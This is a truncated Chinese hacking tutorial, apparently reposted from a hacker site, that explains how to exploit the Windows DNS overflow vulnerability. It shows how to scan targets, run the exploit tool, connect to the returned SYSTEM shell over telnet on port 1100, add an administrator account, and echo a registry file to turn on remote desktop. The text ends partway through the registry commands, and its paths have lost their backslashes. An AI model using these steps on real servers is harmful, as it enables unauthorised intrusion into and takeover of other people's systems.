2024年6月8日发(作者:)
CMD下开启远程桌面服务文章整理发布:黑客风云 内容关注度:24 更新时间:
2009-11-4 1:44:32 一、缘起
近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以
成功溢出。相信大家都有体验过溢出的经验了吧,嘿嘿。但是当我们溢出成功后,返回得到
的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务,那我们直接加
一个用户,再添加进管理员组,就可以登录服务器了。这样的话,拿下存在DNS溢出的服
务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过,要是服务器本
身没有开启远程桌面服务,就相对来说比较麻烦一点了。话虽如此,服务器本身没开,那我
们就帮它开嘛,嘿嘿。
二、理论
在只有一个cmdshell的情况下,可能有不少菜菜不知道如何开启远程桌面服务。不过
如果对远程桌面服务比较了解的话,应该知道开启它其实主要就是修改了注册表的某些键值
来实现的。如何在cmdshell下修改注册表相关键值呢?根据系统的不同,方法也有些出入。
Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效,Windows2003
的服务器开启远程桌面服务就一般都不需要重启,直接更改注册表相关键值即可生效!据网
上的资料来看,基本上都是先echo一个*.reg注册表文件,再使用regedit /s *.reg命令导
入注册表文件即可,当然2000的话还需要重启才生效。
三、实践
理论总是理论,不实践过永远都只能是理论。所以我们找了些可以DNS溢出的服务器
来做试验,其中有2000系统的也有2003系统的,分别详细说明——如何在cmdshell下
开启服务器的远程桌面服务。
1、2000系统
简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是,在CMD下运
行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出
漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接
着我们进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口
的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:WINNTsystem32,
顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用"echo"命令写入
一个注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
echo Windows Registry Editor Version 5.00 >
echo. >>
echo
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcach
e] >>
echo "Enabled"="0" >>
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
NTCurrentVersionWinlogon] >>
echo "ShutdownWithoutLogon"="0" >>


发布评论